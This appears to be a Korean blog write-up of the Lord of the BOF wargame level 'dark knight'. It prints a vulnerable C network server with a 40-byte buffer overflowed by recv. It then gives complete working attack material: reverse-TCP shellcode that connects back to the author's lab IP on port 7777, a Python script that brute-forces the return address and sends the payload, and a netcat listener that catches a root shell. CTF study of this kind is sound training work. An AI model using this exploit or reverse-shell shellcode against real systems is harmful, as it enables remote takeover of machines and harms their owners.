이번 코드는 길다..
/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
이번에는 Remote BOF이다.
외부에서 연결을 해서 쉘코드를 실행시켜야 하니 GDB로 열어볼 수 가 없다.
따라서 우리가 사용할 기법은 브루트 포스 (brute force)이다.
우선 Buffer이 40바이트라는 것만 기억하고 넘어가자.
브루트 포스는 한국어로 무작위대입이라고도 할 수 있고, 계속 값을 바꿔가며 입력하는 것이다.
우선 쉘코드를 준비해야하는데 이번에 사용할 쉘코드는 살짝 다르다.
Reverse_tcp shellcode 라고 하는데
A reverse shell doesn't wait for incoming connections but connects to a specified address and port itself. That is, the attacker waits for an incoming connection by the compromised server instead of initiating the connection themself.
한 포럼에서 설명을 발견했다.
reverse shell은 상대가 보내는 연결을 기다리지 않고, 명시된 주소와 포트로 알아서 연결한다. 그러므로 공격자는 공격당한 서버가 connection을 여는것을 기다리기만 하면된다.
간단히 해석하면 이 정도이다.
쉘코드는 http://shell-storm.org/shellcode/files/shellcode-833.php 해당 사이트에서 복사해 수정하였다.
unsigned char code[] = \
"\x68"
"\x7f\x01\x01\x01" // <- IP Number "127.1.1.1"
"\x5e\x66\x68"
"\xd9\x03" // <- Port Number "55555"
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\xeb\xce";
이 코드에서 IP와 PORT를 바꾸면 된다.
IP는 공격자 PC 즉 내 경우에는 Ubuntu 16.04LTS VM의 IP이고 포트는 임의로 설정해 줘도 된다.
내 우분투의 IP는
보다시피 192.168.126.140이다.
포트번호는 럭키넘버 7777로 하였다.
또, 나는 파이썬 코드를 사용할 것이기 때문에 문법도 약간 수정했다.
shellcode=\ "\x68"+\ "\xc0\xa8\x7e\x8c"+\ <-IP Number "192.168.126.140 "\x5e\x66\x68"+\ "\x1e\x61"+\ <- Port Number 7777 "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\ "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\ "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\ "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\ "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\ "\xeb\xce"
그리고 이제 brute force를 해야 한다.
payload 는
A*44 <- 버퍼 40+ SFP4
RET주소 <- 브루트 포스 할 부분
NOP
shellcode
가 될 것이다.
HOST='192.168.126.130 //LOB VM의 IP주소이다
PORT=6666
for j in range(0xff, 0, -1):
for i in range(0, 0xff, 4):
payload = ("A" * 44) + chr(i) + chr(j) + "\xff\xbf" + ("\x90" * (256-len(shellcode)-48)) + shellcode
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print hex(j) + " " + hex(i)
print s.recv(1024)
s.send(payload)
s.close()
코드에 대해 설명을 하자면, 먼저 뒤에서 두번째 바이트 (예: 0xbfffaabb라면 aa부분)
을 1씩 줄여가며, 그 뒤 bb부분을 0부터 시작해서 ff까지 4씩 늘린다.
즉 RET은
0xbfffff00
0xbfffff04
.....
이 될 것이다.
최종 코드는
#/usr/bin/env python
from socket import *
from struct import *
p = lambda x : pack("<L",x)
shellcode=\
"\x68"+\
"\xc0\xa8\x7e\x8c"+\
"\x5e\x66\x68"+\
"\x1e\x61"+\
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\
"\xeb\xce"
HOST = '192.168.126.130'
PORT = 6666
limit = 255
for j in range(0xff, 0, -1):
for i in range(0, 0xff, 4):
payload = ("A" * 44) + chr(i) + chr(j) + "\xff\xbf" + ("\x90" * (256-len(shellcode)-48)) + shellcode
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print hex(j) + " " + hex(i)
print s.recv(1024)
#print s.recv(10)
s.send(payload)
s.close()
이 코드를 실행 해 두고,
nc -lvp 7777을 다른 터미널에 열어두면, 쉘코드가 제대로 들어갔을때 연결될 것이다.
nc의 -lvp 중 l은
Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.
으로 상대가 연결을 먼저 만드는것을 기다리는 옵션이다.
번외로 p는 포트를 지정이다.
v는 Have nc give more verbose output. 라고 하는데 잘은 모르겠다.
즉 이 -lvp 뒤에 포트를 지정해 주면 된다.
한번 실행해보자.
우선 nc로 7777포트를 listen해 두고
exploit.py를 실행시킨다
그리고 nc를 실행해둔 터미널을 실행해보면 연결이 되었고, root권한을 얻은 것을 볼 수 있다.
참고한 사이트
http://midascopp.tistory.com/43
https://security.stackexchange.com/questions/167579/what-is-the-difference-between-a-payload-and-shellcode
'LOB' 카테고리의 다른 글
LOB:Nightmare→Xavius (0) | 2018.05.14 |
---|---|
LOB:Succubus→Nightmare (0) | 2018.05.14 |
LOB:Zombie_assassin→Succubus (0) | 2018.05.12 |
LOB:Assasin→Zombie-assassin (0) | 2018.05.03 |
LOB:Giant→Assasin (0) | 2018.05.01 |